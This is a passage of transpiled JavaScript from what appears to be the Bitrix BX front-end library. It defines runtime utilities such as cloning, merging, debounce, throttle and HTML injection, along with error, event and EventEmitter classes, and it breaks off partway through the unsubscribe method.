		 * @param {string|Array<string>} extension
		 * @return {Promise<Array<Extension>>}
		 */
		function loadExtension(extension) {
			var extensions = makeIterable(extension);
			var isAllInitialized$$1 = isAllInitialized(extensions);

			if (isAllInitialized$$1) {
				var initializedExtensions = extensions.map(getInitialized);
				return loadExtensions(initializedExtensions).then(mergeExports);
			}

			return request({
				extension: extensions
			}).then(prepareExtensions).then(loadExtensions).then(mergeExports);
		}

		var cloneableTags = ['[object Object]', '[object Array]', '[object RegExp]', '[object Arguments]', '[object Date]', '[object Error]', '[object Map]', '[object Set]', '[object ArrayBuffer]', '[object DataView]', '[object Float32Array]', '[object Float64Array]', '[object Int8Array]', '[object Int16Array]', '[object Int32Array]', '[object Uint8Array]', '[object Uint16Array]', '[object Uint32Array]', '[object Uint8ClampedArray]'];

		function isCloneable(value) {
			var isCloneableValue = Type.isObjectLike(value) && cloneableTags.includes(getTag(value));
			return isCloneableValue || Type.isDomNode(value);
		}

		function internalClone(value, map) {
			if (map.has(value)) {
				return map.get(value);
			}

			if (isCloneable(value)) {
				if (Type.isArray(value)) {
					var cloned = Array.from(value);
					map.set(value, cloned);
					value.forEach(function (item, index) {
						cloned[index] = internalClone(item, map);
					});
					return map.get(value);
				}

				if (Type.isDomNode(value)) {
					return value.cloneNode(true);
				}

				if (Type.isMap(value)) {
					var _result = new Map();

					map.set(value, _result);
					value.forEach(function (item, key) {
						_result.set(internalClone(key, map), internalClone(item, map));
					});
					return _result;
				}

				if (Type.isSet(value)) {
					var _result2 = new Set();

					map.set(value, _result2);
					value.forEach(function (item) {
						_result2.add(internalClone(item, map));
					});
					return _result2;
				}

				if (Type.isDate(value)) {
					return new Date(value);
				}

				if (Type.isRegExp(value)) {
					var regExpFlags = /\w*$/;
					var flags = regExpFlags.exec(value);

					var _result3 = new RegExp(value.source);

					if (flags && Type.isArray(flags)) {
						_result3 = new RegExp(value.source, flags[0]);
					}

					_result3.lastIndex = value.lastIndex;
					return _result3;
				}

				var proto = Object.getPrototypeOf(value);
				var result = Object.assign(Object.create(proto), value);
				map.set(value, result);
				Object.keys(value).forEach(function (key) {
					result[key] = internalClone(value[key], map);
				});
				return result;
			}

			return value;
		}
		/**
		 * Clones any cloneable object
		 * @param value
		 * @return {*}
		 */

		function clone(value) {
			return internalClone(value, new WeakMap());
		}

		function merge(current, target) {
			return Object.entries(target).reduce(function (acc, _ref) {
				var _ref2 = babelHelpers.slicedToArray(_ref, 2),
					key = _ref2[0],
					value = _ref2[1];

				if (!Type.isDomNode(acc[key]) && Type.isObjectLike(acc[key]) && Type.isObjectLike(value)) {
					acc[key] = merge(acc[key], value);
					return acc;
				}

				acc[key] = value;
				return acc;
			}, current);
		}

		function createComparator(fields) {
			var orders = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : [];
			return function (a, b) {
				var field = fields[0];
				var order = orders[0] || 'asc';

				if (Type.isUndefined(field)) {
					return 0;
				}

				var valueA = a[field];
				var valueB = b[field];

				if (Type.isString(valueA) && Type.isString(valueB)) {
					valueA = valueA.toLowerCase();
					valueB = valueB.toLowerCase();
				}

				if (valueA < valueB) {
					return order === 'asc' ? -1 : 1;
				}

				if (valueA > valueB) {
					return order === 'asc' ? 1 : -1;
				}

				return createComparator(fields.slice(1), orders.slice(1))(a, b);
			};
		}

		/**
		 * @memberOf BX
		 */

		var Runtime = /*#__PURE__*/function () {
			function Runtime() {
				babelHelpers.classCallCheck(this, Runtime);
			}

			babelHelpers.createClass(Runtime, null, [{
				key: "debounce",
				value: function debounce(func) {
					var wait = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
					var context = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : null;
					var timeoutId;
					return function debounced() {
						var _this = this;

						for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
							args[_key] = arguments[_key];
						}

						if (Type.isNumber(timeoutId)) {
							clearTimeout(timeoutId);
						}

						timeoutId = setTimeout(function () {
							func.apply(context || _this, args);
						}, wait);
					};
				}
			}, {
				key: "throttle",
				value: function throttle(func) {
					var wait = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
					var context = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : null;
					var timer = 0;
					var invoke;
					return function wrapper() {
						for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
							args[_key2] = arguments[_key2];
						}

						invoke = true;

						if (!timer) {
							var q = function q() {
								if (invoke) {
									func.apply(context || this, args);
									invoke = false;
									timer = setTimeout(q, wait);
								} else {
									timer = null;
								}
							};

							q();
						}
					};
				}
			}, {
				key: "html",
				value: function html(node, _html) {
					var params = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};

					if (Type.isNil(_html) && Type.isDomNode(node)) {
						return node.innerHTML;
					} // eslint-disable-next-line


					var parsedHtml = BX.processHTML(_html);
					var externalCss = parsedHtml.STYLE.reduce(externalStyles, []);
					var externalJs = parsedHtml.SCRIPT.reduce(externalScripts, []);
					var inlineJs = parsedHtml.SCRIPT.reduce(inlineScripts, []);

					if (Type.isDomNode(node)) {
						if (params.htmlFirst || !externalJs.length && !externalCss.length) {
							if (params.useAdjacentHTML) {
								node.insertAdjacentHTML('beforeend', parsedHtml.HTML);
							} else {
								node.innerHTML = parsedHtml.HTML;
							}
						}
					}

					return Promise.all([loadAll(externalJs), loadAll(externalCss)]).then(function () {
						if (Type.isDomNode(node) && (externalJs.length > 0 || externalCss.length > 0)) {
							if (params.useAdjacentHTML) {
								node.insertAdjacentHTML('beforeend', parsedHtml.HTML);
							} else {
								node.innerHTML = parsedHtml.HTML;
							}
						} // eslint-disable-next-line


						inlineJs.forEach(function (script) {
							return BX.evalGlobal(script);
						});

						if (Type.isFunction(params.callback)) {
							params.callback();
						}
					});
				}
				/**
				 * Merges objects or arrays
				 * @param targets
				 * @return {any}
				 */

			}, {
				key: "merge",
				value: function merge$$1() {
					for (var _len3 = arguments.length, targets = new Array(_len3), _key3 = 0; _key3 < _len3; _key3++) {
						targets[_key3] = arguments[_key3];
					}

					if (Type.isArray(targets[0])) {
						targets.unshift([]);
					} else if (Type.isObject(targets[0])) {
						targets.unshift({});
					}

					return targets.reduce(function (acc, item) {
						return merge(acc, item);
					}, targets[0]);
				}
			}, {
				key: "orderBy",
				value: function orderBy(collection) {
					var fields = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : [];
					var orders = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : [];
					var comparator = createComparator(fields, orders);
					return Object.values(collection).sort(comparator);
				}
			}, {
				key: "destroy",
				value: function destroy(target) {
					var errorMessage = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'Object is destroyed';

					if (Type.isObject(target)) {
						var onPropertyAccess = function onPropertyAccess() {
							throw new Error(errorMessage);
						};

						var ownProperties = Object.keys(target);

						var prototypeProperties = function () {
							var targetPrototype = Object.getPrototypeOf(target);

							if (Type.isObject(targetPrototype)) {
								return Object.getOwnPropertyNames(targetPrototype);
							}

							return [];
						}();

						var uniquePropertiesList = babelHelpers.toConsumableArray(new Set([].concat(babelHelpers.toConsumableArray(ownProperties), babelHelpers.toConsumableArray(prototypeProperties))));
						uniquePropertiesList.filter(function (name) {
							var descriptor = Object.getOwnPropertyDescriptor(target, name);
							return !/__(.+)__/.test(name) && (!Type.isObject(descriptor) || descriptor.configurable === true);
						}).forEach(function (name) {
							Object.defineProperty(target, name, {
								get: onPropertyAccess,
								set: onPropertyAccess,
								configurable: false
							});
						});
						Object.setPrototypeOf(target, null);
					}
				}
			}]);
			return Runtime;
		}();

		babelHelpers.defineProperty(Runtime, "debug", debug);
		babelHelpers.defineProperty(Runtime, "loadExtension", loadExtension);
		babelHelpers.defineProperty(Runtime, "clone", clone);

		var _isError = Symbol.for('BX.BaseError.isError');
		/**
		 * @memberOf BX
		 */


		var BaseError = /*#__PURE__*/function () {
			function BaseError(message, code, customData) {
				babelHelpers.classCallCheck(this, BaseError);
				this[_isError] = true;
				this.message = '';
				this.code = null;
				this.customData = null;
				this.setMessage(message);
				this.setCode(code);
				this.setCustomData(customData);
			}
			/**
			 * Returns a brief description of the error
			 * @returns {string}
			 */


			babelHelpers.createClass(BaseError, [{
				key: "getMessage",
				value: function getMessage() {
					return this.message;
				}
				/**
				 * Sets a message of the error
				 * @param {string} message
				 * @returns {this}
				 */

			}, {
				key: "setMessage",
				value: function setMessage(message) {
					if (Type.isString(message)) {
						this.message = message;
					}

					return this;
				}
				/**
				 * Returns a code of the error
				 * @returns {?string}
				 */

			}, {
				key: "getCode",
				value: function getCode() {
					return this.code;
				}
				/**
				 * Sets a code of the error
				 * @param {string} code
				 * @returns {this}
				 */

			}, {
				key: "setCode",
				value: function setCode(code) {
					if (Type.isStringFilled(code) || code === null) {
						this.code = code;
					}

					return this;
				}
				/**
				 * Returns custom data of the error
				 * @returns {null|*}
				 */

			}, {
				key: "getCustomData",
				value: function getCustomData() {
					return this.customData;
				}
				/**
				 * Sets custom data of the error
				 * @returns {this}
				 */

			}, {
				key: "setCustomData",
				value: function setCustomData(customData) {
					if (!Type.isUndefined(customData)) {
						this.customData = customData;
					}

					return this;
				}
			}, {
				key: "toString",
				value: function toString() {
					var code = this.getCode();
					var message = this.getMessage();

					if (!Type.isStringFilled(code) && !Type.isStringFilled(message)) {
						return '';
					} else if (!Type.isStringFilled(code)) {
						return "Error: ".concat(message);
					} else if (!Type.isStringFilled(message)) {
						return code;
					} else {
						return "".concat(code, ": ").concat(message);
					}
				}
				/**
				 * Returns true if the object is an instance of BaseError
				 * @param error
				 * @returns {boolean}
				 */

			}], [{
				key: "isError",
				value: function isError(error) {
					return Type.isObject(error) && error[_isError] === true;
				}
			}]);
			return BaseError;
		}();

		/**
		 * Implements base event object interface
		 */

		var BaseEvent = /*#__PURE__*/function () {
			function BaseEvent() {
				var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {
					data: {}
				};
				babelHelpers.classCallCheck(this, BaseEvent);
				this.type = '';
				this.data = null;
				this.target = null;
				this.compatData = null;
				this.defaultPrevented = false;
				this.immediatePropagationStopped = false;
				this.errors = [];
				this.setData(options.data);
				this.setCompatData(options.compatData);
			}

			babelHelpers.createClass(BaseEvent, [{
				key: "getType",

				/**
				 * Returns the name of the event
				 * @returns {string}
				 */
				value: function getType() {
					return this.type;
				}
				/**
				 *
				 * @param {string} type
				 */

			}, {
				key: "setType",
				value: function setType(type) {
					if (Type.isStringFilled(type)) {
						this.type = type;
					}

					return this;
				}
				/**
				 * Returns an event data
				 */

			}, {
				key: "getData",
				value: function getData() {
					return this.data;
				}
				/**
				 * Sets an event data
				 * @param data
				 */

			}, {
				key: "setData",
				value: function setData(data) {
					if (!Type.isUndefined(data)) {
						this.data = data;
					}

					return this;
				}
				/**
				 * Returns arguments for BX.addCustomEvent handlers (deprecated).
				 * @returns {array | null}
				 */

			}, {
				key: "getCompatData",
				value: function getCompatData() {
					return this.compatData;
				}
				/**
				 * Sets arguments for BX.addCustomEvent handlers (deprecated)
				 * @param data
				 */

			}, {
				key: "setCompatData",
				value: function setCompatData(data) {
					if (Type.isArrayLike(data)) {
						this.compatData = data;
					}

					return this;
				}
				/**
				 * Sets a event target
				 * @param target
				 */

			}, {
				key: "setTarget",
				value: function setTarget(target) {
					this.target = target;
					return this;
				}
				/**
				 * Returns a event target
				 */

			}, {
				key: "getTarget",
				value: function getTarget() {
					return this.target;
				}
				/**
				 * Returns an array of event errors
				 * @returns {[]}
				 */

			}, {
				key: "getErrors",
				value: function getErrors() {
					return this.errors;
				}
				/**
				 * Adds an error of the event.
				 * Event listeners can prevent emitter's default action and set the reason of this behavior.
				 * @param error
				 */

			}, {
				key: "setError",
				value: function setError(error) {
					if (BaseError.isError(error)) {
						this.errors.push(error);
					}
				}
				/**
				 * Prevents default action
				 */

			}, {
				key: "preventDefault",
				value: function preventDefault() {
					this.defaultPrevented = true;
				}
				/**
				 * Checks that is default action prevented
				 * @return {boolean}
				 */

			}, {
				key: "isDefaultPrevented",
				value: function isDefaultPrevented() {
					return this.defaultPrevented;
				}
				/**
				 * Stops event immediate propagation
				 */

			}, {
				key: "stopImmediatePropagation",
				value: function stopImmediatePropagation() {
					this.immediatePropagationStopped = true;
				}
				/**
				 * Checks that is immediate propagation stopped
				 * @return {boolean}
				 */

			}, {
				key: "isImmediatePropagationStopped",
				value: function isImmediatePropagationStopped() {
					return this.immediatePropagationStopped;
				}
			}], [{
				key: "create",
				value: function create(options) {
					return new this(options);
				}
			}]);
			return BaseEvent;
		}();

		var EventStore = /*#__PURE__*/function () {
			function EventStore() {
				var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
				babelHelpers.classCallCheck(this, EventStore);
				this.defaultMaxListeners = Type.isNumber(options.defaultMaxListeners) ? options.defaultMaxListeners : 10;
				this.eventStore = new WeakMap();
			}

			babelHelpers.createClass(EventStore, [{
				key: "add",
				value: function add(target) {
					var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
					var record = this.getRecordScheme();

					if (Type.isNumber(options.maxListeners)) {
						record.maxListeners = options.maxListeners;
					}

					this.eventStore.set(target, record);
					return record;
				}
			}, {
				key: "get",
				value: function get(target) {
					return this.eventStore.get(target);
				}
			}, {
				key: "getOrAdd",
				value: function getOrAdd(target) {
					var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
					return this.get(target) || this.add(target, options);
				}
			}, {
				key: "delete",
				value: function _delete(context) {
					this.eventStore.delete(context);
				}
			}, {
				key: "getRecordScheme",
				value: function getRecordScheme() {
					return {
						eventsMap: new Map(),
						onceMap: new Map(),
						maxListeners: this.getDefaultMaxListeners(),
						eventsMaxListeners: new Map()
					};
				}
			}, {
				key: "getDefaultMaxListeners",
				value: function getDefaultMaxListeners() {
					return this.defaultMaxListeners;
				}
			}]);
			return EventStore;
		}();

		var WarningStore = /*#__PURE__*/function () {
			function WarningStore() {
				babelHelpers.classCallCheck(this, WarningStore);
				this.warnings = new Map();
				this.printDelayed = Runtime.debounce(this.print.bind(this), 500);
			}

			babelHelpers.createClass(WarningStore, [{
				key: "add",
				value: function add(target, eventName, listeners) {
					var contextWarnings = this.warnings.get(target);

					if (!contextWarnings) {
						contextWarnings = Object.create(null);
						this.warnings.set(target, contextWarnings);
					}

					if (!contextWarnings[eventName]) {
						contextWarnings[eventName] = {};
					}

					contextWarnings[eventName].size = listeners.size;

					if (!Type.isArray(contextWarnings[eventName].errors)) {
						contextWarnings[eventName].errors = [];
					}

					contextWarnings[eventName].errors.push(new Error());
				}
			}, {
				key: "print",
				value: function print() {
					this.warnings.forEach(function (warnings) {
						for (var eventName in warnings) {
							console.groupCollapsed('Possible BX.Event.EventEmitter memory leak detected. ' + warnings[eventName].size + ' "' + eventName + '" listeners added. ' + 'Use emitter.setMaxListeners() to increase limit.');
							console.dir(warnings[eventName].errors);
							console.groupEnd();
						}
					});
					this.clear();
				}
			}, {
				key: "clear",
				value: function clear() {
					this.warnings.clear();
				}
			}, {
				key: "printDelayed",
				value: function printDelayed() {}
			}]);
			return WarningStore;
		}();

		var eventStore = new EventStore({
			defaultMaxListeners: 10
		});
		var warningStore = new WarningStore();
		var aliasStore = new Map();
		var globalTarget = {
			GLOBAL_TARGET: 'GLOBAL_TARGET' // this key only for debugging purposes

		};
		eventStore.add(globalTarget, {
			maxListeners: 25
		});
		var isEmitterProperty = Symbol.for('BX.Event.EventEmitter.isEmitter');
		var namespaceProperty = Symbol('namespaceProperty');
		var targetProperty = Symbol('targetProperty');

		var EventEmitter = /*#__PURE__*/function () {
			/** @private */
			function EventEmitter() {
				babelHelpers.classCallCheck(this, EventEmitter);
				this[targetProperty] = null;
				this[namespaceProperty] = null;
				this[isEmitterProperty] = true;
				var target = this;

				if (Object.getPrototypeOf(this) === EventEmitter.prototype && arguments.length > 0) //new EventEmitter(obj) case
				{
					if (!Type.isObject(arguments.length <= 0 ? undefined : arguments[0])) {
						throw new TypeError("The \"target\" argument must be an object.");
					}

					target = arguments.length <= 0 ? undefined : arguments[0];
					this.setEventNamespace(arguments.length <= 1 ? undefined : arguments[1]);
				}

				this[targetProperty] = target;
			}
			/**
			 * Makes a target observable
			 * @param {object} target
			 * @param {string} namespace
			 */


			babelHelpers.createClass(EventEmitter, [{
				key: "setEventNamespace",
				value: function setEventNamespace(namespace) {
					if (Type.isStringFilled(namespace)) {
						this[namespaceProperty] = namespace;
					}
				}
			}, {
				key: "getEventNamespace",
				value: function getEventNamespace() {
					return this[namespaceProperty];
				}
				/**
				 * Subscribes listener on specified global event
				 * @param {object} target
				 * @param {string} eventName
				 * @param {Function<BaseEvent>} listener
				 * @param {object} options
				 */

			}, {
				key: "subscribe",

				/**
				 * Subscribes a listener on a specified event
				 * @param {string} eventName
				 * @param {Function<BaseEvent>} listener
				 * @return {this}
				 */
				value: function subscribe(eventName, listener) {
					EventEmitter.subscribe(this, eventName, listener);
					return this;
				}
				/**
				 *
				 * @param {object} options
				 * @param {object} [aliases]
				 * @param {boolean} [compatMode=false]
				 */

			}, {
				key: "subscribeFromOptions",
				value: function subscribeFromOptions(options, aliases, compatMode) {
					var _this = this;

					if (!Type.isPlainObject(options)) {
						return;
					}

					aliases = Type.isPlainObject(aliases) ? EventEmitter.normalizeAliases(aliases) : {};
					Object.keys(options).forEach(function (eventName) {
						var listener = options[eventName];

						if (!Type.isFunction(listener)) {
							throw new TypeError("The \"listener\" argument must be of type Function. Received type ".concat(babelHelpers.typeof(listener), "."));
						}

						eventName = EventEmitter.normalizeEventName(eventName);

						if (aliases[eventName]) {
							var actualName = aliases[eventName].eventName;
							EventEmitter.subscribe(_this, actualName, listener, {
								compatMode: compatMode !== false
							});
						} else {
							EventEmitter.subscribe(_this, eventName, listener, {
								compatMode: compatMode === true
							});
						}
					});
				}
				/**
				 * Subscribes a listener that is called at
				 * most once for a specified event.
				 * @param {object} target
				 * @param {string} eventName
				 * @param {Function<BaseEvent>} listener
				 */

			}, {
				key: "subscribeOnce",

				/**
				 * Subscribes a listener that is called at most once for a specified event.
				 * @param {string} eventName
				 * @param {Function<BaseEvent>} listener
				 * @return {this}
				 */
				value: function subscribeOnce(eventName, listener) {
					EventEmitter.subscribeOnce(this, eventName, listener);
					return this;
				}
				/**
				 * Unsubscribes an event listener
				 * @param {object} target
				 * @param {string} eventName
				 * @param {Function<BaseEvent>} listener
				 * @param options
				 */

			}, {
				key: "unsubscribe",

				/**
				 * Unsubscribes an event listener
				 * @param {string} eventName
				 * @param {Function<BaseEvent>} listener
				 * @return {this}
				 */
				value: function unsubscribe(eventName, listener) {
					EventEmitter.unsubscribe(this, eventName, listener);
					return this;
				}
				/**
				 * Unsubscribes all event listeners
				 * @param {object} target
				 * @param {string} eventName
				 * @param options
				 */

			}, {
				key: "unsubscribeAll",

				/**
				 * Unsubscribes all event listeners
				 * @param {string} [eventName]
				 */
				value: function unsubscribeAll(eventName) {
					EventEmitter.unsubscribeAll(this, eventName);
				}
				/**
				 *
				 * @param {object} target
				 * @param {string} eventName
				 * @param {BaseEvent | any} event
				 * @param {object} options
				 * @returns {Array}
				 */

			}, {
				key: "emit",

				/**
				 * Emits specified event with specified event object
				 * @param {string} eventName
				 * @param {BaseEvent | any} event
				 * @return {this}
				 */
				value: function emit(eventName, event) {
					if (this.getEventNamespace() === null) {
						console.warn('The instance of BX.Event.EventEmitter is supposed to have an event namespace. ' + 'Use emitter.setEventNamespace() to make events more unique.');
					}

					EventEmitter.emit(this, eventName, event);
					return this;
				}
				/**
				 * Emits global event and returns a promise that is resolved when
				 * all promise returned from event handlers are resolved,
				 * or rejected when at least one of the returned promise is rejected.
				 * Importantly. You can return any value from synchronous handlers, not just promise
				 * @param {object} target
				 * @param {string} eventName
				 * @param {BaseEvent | any} event
				 * @return {Promise<Array>}
				 */

			}, {
				key: "emitAsync",

				/**
				 * Emits event and returns a promise that is resolved when
				 * all promise returned from event handlers are resolved,
				 * or rejected when at least one of the returned promise is rejected.
				 * Importantly. You can return any value from synchronous handlers, not just promise
				 * @param {string} eventName
				 * @param {BaseEvent|any} event
				 * @return {Promise<Array>}
				 */
				value: function emitAsync(eventName, event) {
					if (this.getEventNamespace() === null) {
						console.warn('The instance of BX.Event.EventEmitter is supposed to have an event namespace. ' + 'Use emitter.setEventNamespace() to make events more unique.');
					}

					return EventEmitter.emitAsync(this, eventName, event);
				}
				/**
				 * @private
				 * @param {object} target
				 * @param {string} eventName
				 * @param {BaseEvent|any} event
				 * @returns {BaseEvent}
				 */

			}, {
				key: "setMaxListeners",

				/**
				 * Sets max events listeners count
				 * this.setMaxListeners(10) - sets the default value for all events
				 * this.setMaxListeners("onClose", 10) sets the value for onClose event
				 * @return {this}
				 * @param args
				 */
				value: function setMaxListeners() {
					for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
						args[_key] = arguments[_key];
					}

					EventEmitter.setMaxListeners.apply(EventEmitter, [this].concat(args));
					return this;
				}
				/**
				 * Returns max event listeners count
				 * @param {object} target
				 * @param {string} [eventName]
				 * @returns {number}
				 */

			}, {
				key: "getMaxListeners",

				/**
				 * Returns max event listeners count
				 * @param {string} [eventName]
				 * @returns {number}
				 */
				value: function getMaxListeners(eventName) {
					return EventEmitter.getMaxListeners(this, eventName);
				}
				/**
				 * Adds or subtracts max listeners count
				 * Event.EventEmitter.addMaxListeners() - adds one max listener for all events of global target
				 * Event.EventEmitter.addMaxListeners(3) - adds three max listeners for all events of global target
				 * Event.EventEmitter.addMaxListeners(-1) - subtracts one max listener for all events of global target
				 * Event.EventEmitter.addMaxListeners('onClose') - adds one max listener for onClose event of global target
				 * Event.EventEmitter.addMaxListeners('onClose', 2) - adds two max listeners for onClose event of global target
				 * Event.EventEmitter.addMaxListeners('onClose', -1) - subtracts one max listener for onClose event of global target
				 *
				 * Event.EventEmitter.addMaxListeners(obj) - adds one max listener for all events of 'obj' target
				 * Event.EventEmitter.addMaxListeners(obj, 3) - adds three max listeners for all events of 'obj' target
				 * Event.EventEmitter.addMaxListeners(obj, -1) - subtracts one max listener for all events of 'obj' target
				 * Event.EventEmitter.addMaxListeners(obj, 'onClose') - adds one max listener for onClose event of 'obj' target
				 * Event.EventEmitter.addMaxListeners(obj, 'onClose', 2) - adds two max listeners for onClose event of 'obj' target
				 * Event.EventEmitter.addMaxListeners(obj, 'onClose', -1) - subtracts one max listener for onClose event of 'obj' target
				 * @param args
				 * @returns {number}
				 */

			}, {
				key: "incrementMaxListeners",

				/**
				 * Increases max listeners count
				 * this.incrementMaxListeners() - adds one max listener for all events
				 * this.incrementMaxListeners(3) - adds three max listeners for all events
				 * this.incrementMaxListeners('onClose') - adds one max listener for onClose event
				 * this.incrementMaxListeners('onClose', 2) - adds two max listeners for onClose event
				 */
				value: function incrementMaxListeners() {
					for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
						args[_key2] = arguments[_key2];
					}

					return EventEmitter.incrementMaxListeners.apply(EventEmitter, [this].concat(args));
				}
				/**
				 * Decreases max listeners count
				 *
				 * Event.EventEmitter.decrementMaxListeners() - subtracts one max listener for all events of global target
				 * Event.EventEmitter.decrementMaxListeners(3) - subtracts three max listeners for all events of global target
				 * Event.EventEmitter.decrementMaxListeners('onClose') - subtracts one max listener for onClose event of global target
				 * Event.EventEmitter.decrementMaxListeners('onClose', 2) - subtracts two max listeners for onClose event of global target
				 *
				 * Event.EventEmitter.decrementMaxListeners(obj) - subtracts one max listener for all events of 'obj' target
				 * Event.EventEmitter.decrementMaxListeners(obj, 3) - subtracts three max listeners for all events of 'obj' target
				 * Event.EventEmitter.decrementMaxListeners(obj, 'onClose') - subtracts one max listener for onClose event of 'obj' target
				 * Event.EventEmitter.decrementMaxListeners(obj, 'onClose', 2) - subtracts two max listeners for onClose event of 'obj' target
				 */

			}, {
				key: "decrementMaxListeners",

				/**
				 * Increases max listeners count
				 * this.decrementMaxListeners() - subtracts one max listener for all events
				 * this.decrementMaxListeners(3) - subtracts three max listeners for all events
				 * this.decrementMaxListeners('onClose') - subtracts one max listener for onClose event
				 * this.decrementMaxListeners('onClose', 2) - subtracts two max listeners for onClose event
				 */
				value: function decrementMaxListeners() {
					for (var _len3 = arguments.length, args = new Array(_len3), _key3 = 0; _key3 < _len3; _key3++) {
						args[_key3] = arguments[_key3];
					}

					return EventEmitter.decrementMaxListeners.apply(EventEmitter, [this].concat(args));
				}
				/**
				 * @private
				 * @param {Array} args
				 * @returns Array
				 */

			}, {
				key: "getListeners",

				/**
				 * Gets listeners list for specified event
				 * @param {string} eventName
				 */
				value: function getListeners(eventName) {
					return EventEmitter.getListeners(this, eventName);
				}
				/**
				 * Returns a full event name with namespace
				 * @param {string} eventName
				 * @returns {string}
				 */

			}, {
				key: "getFullEventName",
				value: function getFullEventName(eventName) {
					if (!Type.isStringFilled(eventName)) {
						throw new TypeError("The \"eventName\" argument must be a string.");
					}

					return EventEmitter.makeFullEventName(this.getEventNamespace(), eventName);
				}
				/**
				 * Registers aliases (old event names for BX.onCustomEvent)
				 * @param aliases
				 */

			}], [{
				key: "makeObservable",
				value: function makeObservable(target, namespace) {
					if (!Type.isObject(target)) {
						throw new TypeError('The "target" argument must be an object.');
					}

					if (!Type.isStringFilled(namespace)) {
						throw new TypeError('The "namespace" must be an non-empty string.');
					}

					if (EventEmitter.isEventEmitter(target)) {
						throw new TypeError('The "target" is an event emitter already.');
					}

					var targetProto = Object.getPrototypeOf(target);
					var emitter = new EventEmitter();
					emitter.setEventNamespace(namespace);
					Object.setPrototypeOf(emitter, targetProto);
					Object.setPrototypeOf(target, emitter);
					Object.getOwnPropertyNames(EventEmitter.prototype).forEach(function (method) {
						if (['constructor'].includes(method)) {
							return;
						}

						emitter[method] = function () {
							for (var _len4 = arguments.length, args = new Array(_len4), _key4 = 0; _key4 < _len4; _key4++) {
								args[_key4] = arguments[_key4];
							}

							return EventEmitter.prototype[method].apply(target, args);
						};
					});
				}
			}, {
				key: "subscribe",
				value: function subscribe(target, eventName, listener, options) {
					if (Type.isString(target)) {
						options = listener;
						listener = eventName;
						eventName = target;
						target = this.GLOBAL_TARGET;
					}

					if (!Type.isObject(target)) {
						throw new TypeError("The \"target\" argument must be an object.");
					}

					eventName = this.normalizeEventName(eventName);

					if (!Type.isStringFilled(eventName)) {
						throw new TypeError("The \"eventName\" argument must be a string.");
					}

					if (!Type.isFunction(listener)) {
						throw new TypeError("The \"listener\" argument must be of type Function. Received type ".concat(babelHelpers.typeof(listener), "."));
					}

					options = Type.isPlainObject(options) ? options : {};
					var fullEventName = this.resolveEventName(eventName, target, options.useGlobalNaming === true);

					var _eventStore$getOrAdd = eventStore.getOrAdd(target),
						eventsMap = _eventStore$getOrAdd.eventsMap,
						onceMap = _eventStore$getOrAdd.onceMap;

					var onceListeners = onceMap.get(fullEventName);
					var listeners = eventsMap.get(fullEventName);

					if (listeners && listeners.has(listener) || onceListeners && onceListeners.has(listener)) {
						console.error("You cannot subscribe the same \"".concat(fullEventName, "\" event listener twice."));
					} else {
						if (listeners) {
							listeners.set(listener, {
								listener: listener,
								options: options,
								sort: this.getNextSequenceValue()
							});
						} else {
							listeners = new Map([[listener, {
								listener: listener,
								options: options,
								sort: this.getNextSequenceValue()
							}]]);
							eventsMap.set(fullEventName, listeners);
						}
					}

					var maxListeners = this.getMaxListeners(target, eventName);

					if (listeners.size > maxListeners) {
						warningStore.add(target, fullEventName, listeners);
						warningStore.printDelayed();
					}
				}
			}, {
				key: "subscribeOnce",
				value: function subscribeOnce(target, eventName, listener) {
					var _this2 = this;

					if (Type.isString(target)) {
						listener = eventName;
						eventName = target;
						target = this.GLOBAL_TARGET;
					}

					if (!Type.isObject(target)) {
						throw new TypeError("The \"target\" argument must be an object.");
					}

					eventName = this.normalizeEventName(eventName);

					if (!Type.isStringFilled(eventName)) {
						throw new TypeError("The \"eventName\" argument must be a string.");
					}

					if (!Type.isFunction(listener)) {
						throw new TypeError("The \"listener\" argument must be of type Function. Received type ".concat(babelHelpers.typeof(listener), "."));
					}

					var fullEventName = this.resolveEventName(eventName, target);

					var _eventStore$getOrAdd2 = eventStore.getOrAdd(target),
						eventsMap = _eventStore$getOrAdd2.eventsMap,
						onceMap = _eventStore$getOrAdd2.onceMap;

					var listeners = eventsMap.get(fullEventName);
					var onceListeners = onceMap.get(fullEventName);

					if (listeners && listeners.has(listener) || onceListeners && onceListeners.has(listener)) {
						console.error("You cannot subscribe the same \"".concat(fullEventName, "\" event listener twice."));
					} else {
						var once = function once() {
							_this2.unsubscribe(target, eventName, once);

							onceListeners.delete(listener);
							listener.apply(void 0, arguments);
						};

						if (onceListeners) {
							onceListeners.set(listener, once);
						} else {
							onceListeners = new Map([[listener, once]]);
							onceMap.set(fullEventName, onceListeners);
						}

						this.subscribe(target, eventName, once);
					}
				}
			}, {
				key: "unsubscribe",
				value: function unsubscribe(target, eventName, listener, options) {
					if (Type.isString(target)) {
						listener = eventName;
						eventName = target;
						target = this.GLOBAL_TARGET;
					}

					eventName = this.normalizeEventName(eventName);

					if (!Type.isStringFilled(eventName)) {
						throw new TypeError("The \"eventName\" argument must be a string.");
					}

					if (!Type.isFunction(listener)) {
						throw new TypeError("The \"listener\" argument must be of type Function. Received type ".concat(typeof event === "undefined" ? "undefined" : babelHelpers.typeof(event), "."));
					}

					options = Type.isPlainObject(options) ? options : {};
					var fullEventName = this.resolveEventName(eventName, target, options.useGlobalNaming === true);
					var targetInfo = eventStore.get(target);
					var listeners = targetInfo && targetInfo.eventsMap.get(fullEventName);
					var onceListeners = targetInfo && targetInfo.onceMap.get(fullEventName);

					if (listeners) {
						listeners.delete(listener);
					}

					if (onceListeners) {
						var once = onceListeners.get(listener);

						if (once) {
